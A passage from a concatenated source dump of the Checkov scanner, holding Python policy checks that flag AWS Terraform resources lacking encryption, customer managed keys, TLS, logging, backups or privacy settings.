supported_resources = ['aws_connect_instance_storage_config'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'storage_config/[0]/kinesis_video_stream_config/[0]/encryption_config/[0]/key_id' def get_expected_value(self): return ANY_VALUE check = ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ConnectInstanceS3StorageConfigUsesCMK.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class ConnectInstanceS3StorageConfigUsesCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Connect Instance S3 Storage Config uses CMK" id = "CKV_AWS_270" supported_resources = ("aws_connect_instance_storage_config",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "storage_config/[0]/s3_config/[0]/encryption_config/[0]/key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = ConnectInstanceS3StorageConfigUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DAXEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DAXEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DAX is encrypted at rest (default is unencrypted)" id = "CKV_AWS_47" supported_resources = ["aws_dax_cluster"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "server_side_encryption/[0]/enabled" check = DAXEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/DAXEndpointTLS.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DAXEndpointTLS(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DAX cluster endpoint is using TLS" id = "CKV_AWS_239" supported_resources = ["aws_dax_cluster"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "cluster_endpoint_encryption_type" def get_expected_value(self) -> str: return "TLS" check = DAXEndpointTLS() ================================================ FILE: checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_int from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import Any class DBInstanceBackupRetentionPeriod(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that RDS instances has backup policy" id = "CKV_AWS_133" supported_resources = ("aws_rds_cluster", "aws_db_instance") categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: key = "backup_retention_period" if key in conf.keys(): period = conf[key][0] if self._is_variable_dependant(period): return CheckResult.UNKNOWN period = force_int(period) if period and 0 < period <= 35: return CheckResult.PASSED return CheckResult.FAILED # Default value is 1 which passes ^^^ return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["backup_retention_period"] check = DBInstanceBackupRetentionPeriod() ================================================ FILE: checkov/terraform/checks/resource/aws/DBInstanceLogging.py ================================================ from typing import Any, Dict, List from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DBInstanceLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure that respective logs of Amazon Relational Database Service (Amazon RDS) are enabled" id = "CKV_AWS_129" supported_resources = ["aws_db_instance"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "enabled_cloudwatch_logs_exports/[0]" def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: logs_exports = conf.get('enabled_cloudwatch_logs_exports', [[]]) if not logs_exports: return CheckResult.FAILED return CheckResult.PASSED if logs_exports[0] else CheckResult.FAILED def get_expected_value(self) -> Any: return ANY_VALUE check = DBInstanceLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DBInstanceMinorUpgrade(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DB instance gets all minor upgrades automatically" id = "CKV_AWS_226" supported_resources = ["aws_db_instance", 'aws_rds_cluster_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "auto_minor_version_upgrade" check = DBInstanceMinorUpgrade() ================================================ FILE: checkov/terraform/checks/resource/aws/DBSnapshotCopyUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class DBSnapshotCopyUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure DB Snapshot copy uses CMK" id = "CKV_AWS_266" supported_resources = ['aws_db_snapshot_copy'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = DBSnapshotCopyUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DBSnapshotsArePrivate.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class BDSnapshotsArePrivate(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure DB Snapshots are not Public" id = "CKV_AWS_302" supported_resources = ['aws_db_snapshot'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "shared_accounts" def get_forbidden_values(self): return ["all"] check = BDSnapshotsArePrivate() ================================================ FILE: checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DLMEventsCrossRegionEncryption(BaseResourceCheck): def __init__(self): name = "Ensure DLM cross region events are encrypted" id = "CKV_AWS_253" supported_resources = ['aws_dlm_lifecycle_policy'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("policy_details") and isinstance(conf.get("policy_details"), list): policy = conf.get("policy_details")[0] if policy.get("action") and isinstance(policy.get("action"), list): actions = policy.get("action") for idx, action in enumerate(actions): if not isinstance(action, dict) or not action: return CheckResult.UNKNOWN if action.get("cross_region_copy") and isinstance(action.get("cross_region_copy"), list): cross = action.get("cross_region_copy")[0] if cross.get("encryption_configuration") and isinstance(cross.get("encryption_configuration"), list): config = cross.get("encryption_configuration")[0] if config.get("encryption") == [True]: return CheckResult.PASSED self.evaluated_keys = [f"policy_details/action/{idx}/cross_region_copy/encryption_configuration"] return CheckResult.FAILED return CheckResult.UNKNOWN return CheckResult.PASSED return CheckResult.UNKNOWN check = DLMEventsCrossRegionEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryptionWithCMK.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DLMEventsCrossRegionEncryptionWithCMK(BaseResourceCheck): def __init__(self): name = "Ensure DLM cross region events are encrypted with Customer Managed Key" id = "CKV_AWS_254" supported_resources = ['aws_dlm_lifecycle_policy'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("policy_details") and isinstance(conf.get("policy_details"), list): policy = conf.get("policy_details")[0] if policy.get("action") and isinstance(policy.get("action"), list): actions = policy.get("action") for idx, action in enumerate(actions): if not isinstance(action, dict) or not action: return CheckResult.UNKNOWN if action.get("cross_region_copy") and isinstance(action.get("cross_region_copy"), list): cross = action.get("cross_region_copy")[0] if cross.get("encryption_configuration") and isinstance(cross.get("encryption_configuration"), list): config = cross.get("encryption_configuration")[0] if config.get("encryption") == [True] and config.get("cmk_arn"): return CheckResult.PASSED self.evaluated_keys = [f"policy_details/action/{idx}/cross_region_copy/encryption_configuration"] return CheckResult.FAILED return CheckResult.UNKNOWN return CheckResult.PASSED return CheckResult.UNKNOWN check = DLMEventsCrossRegionEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DLMScheduleCrossRegionEncryption(BaseResourceCheck): def __init__(self): name = "Ensure DLM cross region schedules are encrypted" id = "CKV_AWS_255" supported_resources = ['aws_dlm_lifecycle_policy'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("policy_details") and isinstance(conf.get("policy_details"), list): policy = conf.get("policy_details")[0] if policy.get("schedule") and isinstance(policy.get("schedule"), list): schedules = policy.get("schedule") for idx, schedule in enumerate(schedules): if schedule.get("cross_region_copy_rule") and isinstance(schedule.get("cross_region_copy_rule"), list): for c_idx, cross_schedule_rule in enumerate(schedule.get("cross_region_copy_rule")): if isinstance(cross_schedule_rule, dict) and cross_schedule_rule.get("encrypted") != [True]: self.evaluated_keys = [ f"policy_details/schedule/{idx}/cross_region_copy_rule/{c_idx}/encrypted"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = DLMScheduleCrossRegionEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryptionWithCMK.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DLMScheduleCrossRegionEncryptionWithCMK(BaseResourceCheck): def __init__(self): name = "Ensure DLM cross region schedules are encrypted using a Customer Managed Key" id = "CKV_AWS_256" supported_resources = ['aws_dlm_lifecycle_policy'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("policy_details") and isinstance(conf.get("policy_details"), list): policy = conf.get("policy_details")[0] if policy.get("schedule") and isinstance(policy.get("schedule"), list): schedules = policy.get("schedule") for idx, schedule in enumerate(schedules): if schedule.get("cross_region_copy_rule") and isinstance(schedule.get("cross_region_copy_rule"), list): for c_idx, cross_schedule_rule in enumerate(schedule.get("cross_region_copy_rule")): if isinstance(cross_schedule_rule, dict) and (cross_schedule_rule.get("encrypted") != [True] or not cross_schedule_rule.get("cmk_arn")): self.evaluated_keys = [ f"policy_details/schedule/{idx}/cross_region_copy_rule/{c_idx}/encrypted"] self.evaluated_keys = [ f"policy_details/schedule/{idx}/cross_region_copy_rule/{c_idx}/cmk_arn"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = DLMScheduleCrossRegionEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DMSEndpointUsesCMK.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class DMSEndpointUsesCMK(BaseResourceCheck): def __init__(self) -> None: name = "Ensure DMS endpoint uses Customer Managed Key (CMK)" id = "CKV_AWS_296" supported_resources = ("aws_dms_endpoint",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: engine_name = conf.get("engine_name") if engine_name and isinstance(engine_name, list) and engine_name[0] == "s3": self.evaluated_keys = ["s3_settings"] s3_settings = conf.get("s3_settings") if s3_settings and isinstance(s3_settings, list): self.evaluated_keys = ["s3_settings/server_side_encryption_kms_key_id"] settings = s3_settings[0] if settings.get("server_side_encryption_kms_key_id"): return CheckResult.PASSED return CheckResult.FAILED self.evaluated_keys = ["kms_key_arn"] kms_key = conf.get("kms_key_arn") if kms_key and isinstance(kms_key, list) and kms_key[0]: return CheckResult.PASSED return CheckResult.FAILED check = DMSEndpointUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DMSReplicationInstanceEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DMSReplicationInstanceEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure DMS replication instance is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_212" supported_resources = ['aws_dms_replication_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_arn" def get_expected_value(self): return ANY_VALUE check = DMSReplicationInstanceEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DMSReplicationInstanceMinorUpgrade.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DMSReplicationInstanceMinorUpgrade(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DMS replication instance gets all minor upgrade automatically" id = "CKV_AWS_222" supported_resources = ["aws_dms_replication_instance"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "auto_minor_version_upgrade" check = DMSReplicationInstanceMinorUpgrade() ================================================ FILE: checkov/terraform/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class DMSReplicationInstancePubliclyAccessible(BaseResourceNegativeValueCheck): def __init__(self): name = "DMS replication instance should not be publicly accessible" id = "CKV_AWS_89" supported_resources = ['aws_dms_replication_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'publicly_accessible' def get_forbidden_values(self): return [True] check = DMSReplicationInstancePubliclyAccessible() ================================================ FILE: checkov/terraform/checks/resource/aws/DMSS3UsesCMK.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class DMSS3UsesCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DMS S3 uses Customer Managed Key (CMK)" id = "CKV_AWS_298" supported_resources = ("aws_dms_s3_endpoint",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = DMSS3UsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DatasyncLocationExposesSecrets.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class DatasyncLocationExposesSecrets(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure DataSync Location Object Storage doesn't expose secrets" id = "CKV_AWS_295" supported_resources = ("aws_datasync_location_object_storage",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "secret_key" def get_forbidden_values(self) -> list[Any]: return [ANY_VALUE] check = DatasyncLocationExposesSecrets() ================================================ FILE: checkov/terraform/checks/resource/aws/DeprecatedLambdaRuntime.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class DeprecatedLambdaRuntime(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Lambda Runtime is not deprecated" id = "CKV_AWS_363" supported_resources = ['aws_lambda_function'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "runtime" def get_forbidden_values(self) -> List[Any]: # Source: https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html return ["dotnetcore3.1", "nodejs12.x", "python3.6", "python2.7", "dotnet5.0", "dotnetcore2.1", "ruby2.5", "nodejs10.x", "nodejs8.10", "nodejs4.3", "nodejs6.10", "dotnetcore1.0", "dotnetcore2.0", "nodejs4.3-edge", "nodejs", "java8", "python3.7", "go1.x", "provided", "ruby2.7", "nodejs14.x", "nodejs16.x", "python3.9", "dotnet7", "dotnet6" # , "nodejs18.x" # Uncomment on Sept 1, 2025 # , "provided.al2" # Uncomment on Jun 30, 2026 # , "python3.9" # Uncomment on Nov 3, 2025 ] check = DeprecatedLambdaRuntime() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBAuditLogs.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck ACCEPTED_VALUES = ( "enabled", # Legacy value, but still valid "ddl", # Equivalent to the legacy value enabled "all", ) class DocDBAuditLogs(BaseResourceCheck): def __init__(self): name = "Ensure DocumentDB has audit logs enabled" id = "CKV_AWS_104" supported_resources = ("aws_docdb_cluster_parameter_group",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ["parameter"] if "parameter" in conf: for idx, elem in enumerate(conf["parameter"]): if isinstance(elem, dict) and elem["name"][0] == "audit_logs": if any(v in elem["value"][0] for v in ACCEPTED_VALUES): self.evaluated_keys = [f"parameter/[{idx}]/name", f"parameter/[{idx}]/value"] return CheckResult.PASSED return CheckResult.FAILED check = DocDBAuditLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBBackupRetention.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DocDBBackupRetention(BaseResourceValueCheck): def __init__(self): name = "Ensure DocumentDB has an adequate backup retention period" id = "CKV_AWS_360" supported_resources = ['aws_docdb_cluster'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "backup_retention_period" def scan_resource_conf(self, conf): if conf.get("backup_retention_period", [1])[0] >= 7: return CheckResult.PASSED return CheckResult.FAILED check = DocDBBackupRetention() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DocDBEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure DocumentDB is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_182" supported_resources = ['aws_docdb_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = DocDBEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DocDBEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure DocumentDB is encrypted at rest (default is unencrypted)" id = "CKV_AWS_74" supported_resources = ['aws_docdb_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "storage_encrypted" check = DocDBEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBGlobalClusterEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DocDBGlobalClusterEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DocumentDB Global Cluster is encrypted at rest (default is unencrypted)" id = "CKV_AWS_292" supported_resources = ('aws_docdb_global_cluster',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "storage_encrypted" check = DocDBGlobalClusterEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck LOG_TYPES = ("profiler", "audit") class DocDBLogging(BaseResourceCheck): def __init__(self) -> None: name = "Ensure DocumentDB Logging is enabled" id = "CKV_AWS_85" supported_resources = ("aws_docdb_cluster",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: logs_exports = conf.get("enabled_cloudwatch_logs_exports") if logs_exports and isinstance(logs_exports, list): if any(elem in logs_exports[0] for elem in LOG_TYPES): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ["enabled_cloudwatch_logs_exports"] check = DocDBLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/DocDBTLS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class DocDBTLS(BaseResourceCheck): def __init__(self): name = "Ensure DocumentDB TLS is not disabled" id = "CKV_AWS_90" supported_resources = ['aws_docdb_cluster_parameter_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['parameter'] if 'parameter' in conf: for idx, elem in enumerate(conf["parameter"]): if isinstance(elem, dict) and elem["name"][0] == "tls" and elem["value"][0] == "disabled": self.evaluated_keys = [f'parameter/[{idx}]/name', f'parameter/[{idx}]/value'] return CheckResult.FAILED return CheckResult.PASSED check = DocDBTLS() ================================================ FILE: checkov/terraform/checks/resource/aws/DynamoDBGlobalTableRecovery.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DynamodbGlobalTableRecovery(BaseResourceCheck): def __init__(self): name = "Ensure DynamoDB point in time recovery (backup) is enabled for global tables" id = "CKV_AWS_165" supported_resources = ['aws_dynamodb_global_table'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: # This field cannot be set in terraform's aws_dyanmodb_global_table # https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/dynamodb_global_table return CheckResult.PASSED check = DynamodbGlobalTableRecovery() ================================================ FILE: checkov/terraform/checks/resource/aws/DynamoDBTableReplicaKMSUsesCMK.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class DynamoDBTableReplicaKMSUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure DynamoDB table replica KMS encryption uses CMK" id = "CKV_AWS_271" supported_resources = ('aws_dynamodb_table_replica',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'kms_key_arn' def get_expected_value(self) -> Any: return ANY_VALUE check = DynamoDBTableReplicaKMSUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/DynamoDBTablesEncrypted.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DynamoDBTablesEncrypted(BaseResourceCheck): def __init__(self): name = "Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK" id = "CKV_AWS_119" supported_resources = ["aws_dynamodb_table"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if 'server_side_encryption' in conf.keys(): sse = conf['server_side_encryption'][0] if isinstance(sse, dict): enabled = sse.get("enabled", None) kms_key_arn = sse.get("kms_key_arn", None) if enabled == [True] and kms_key_arn is not None: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['server_side_encryption/[0]/enabled', 'server_side_encryption/[0]/kms_key_arn'] check = DynamoDBTablesEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/DynamodbRecovery.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DynamodbRecovery(BaseResourceValueCheck): def __init__(self): name = "Ensure DynamoDB point in time recovery (backup) is enabled" id = "CKV_AWS_28" supported_resources = ['aws_dynamodb_table'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "point_in_time_recovery/[0]/enabled" def get_expected_values(self): return [self.get_expected_value(), 'true'] # terraformer exports this as the string 'true' check = DynamodbRecovery() ================================================ FILE: checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EBSDefaultEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure EBS default encryption is enabled" id = "CKV_AWS_106" supported_resources = ("aws_ebs_encryption_by_default",) categories = (CheckCategories.ENCRYPTION,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "enabled" check = EBSDefaultEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/EBSEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EBSEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the EBS is securely encrypted" id = "CKV_AWS_3" supported_resources = ['aws_ebs_volume'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encrypted" check = EBSEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/EBSSnapshotCopyEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EBSSnapshotCopyEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure EBS Snapshot Copy is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_183" supported_resources = ['aws_ebs_snapshot_copy'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = EBSSnapshotCopyEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/EBSVolumeEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EBSVolumeEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure EBS Volume is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_189" supported_resources = ['aws_ebs_volume'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = EBSVolumeEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/EC2Credentials.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.secrets import string_has_secrets from typing import List AWS = 'aws' class EC2Credentials(BaseResourceCheck): def __init__(self): name = "Ensure no hard-coded secrets exist in EC2 user data" id = "CKV_AWS_46" supported_resources = ['aws_instance', 'aws_launch_template', 'aws_launch_configuration'] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'user_data' in conf.keys(): user_data = conf['user_data'][0] if isinstance(user_data, str) and string_has_secrets(user_data, AWS): conf[f'{self.id}_secret'] = user_data return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['user_data'] check = EC2Credentials() ================================================ FILE: checkov/terraform/checks/resource/aws/EC2DetailedMonitoringEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EC2DetailedMonitoringEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that detailed monitoring is enabled for EC2 instances" id = "CKV_AWS_126" supported_resources = ['aws_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'monitoring' def get_expected_value(self): return True check = EC2DetailedMonitoringEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/EC2EBSOptimized.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class 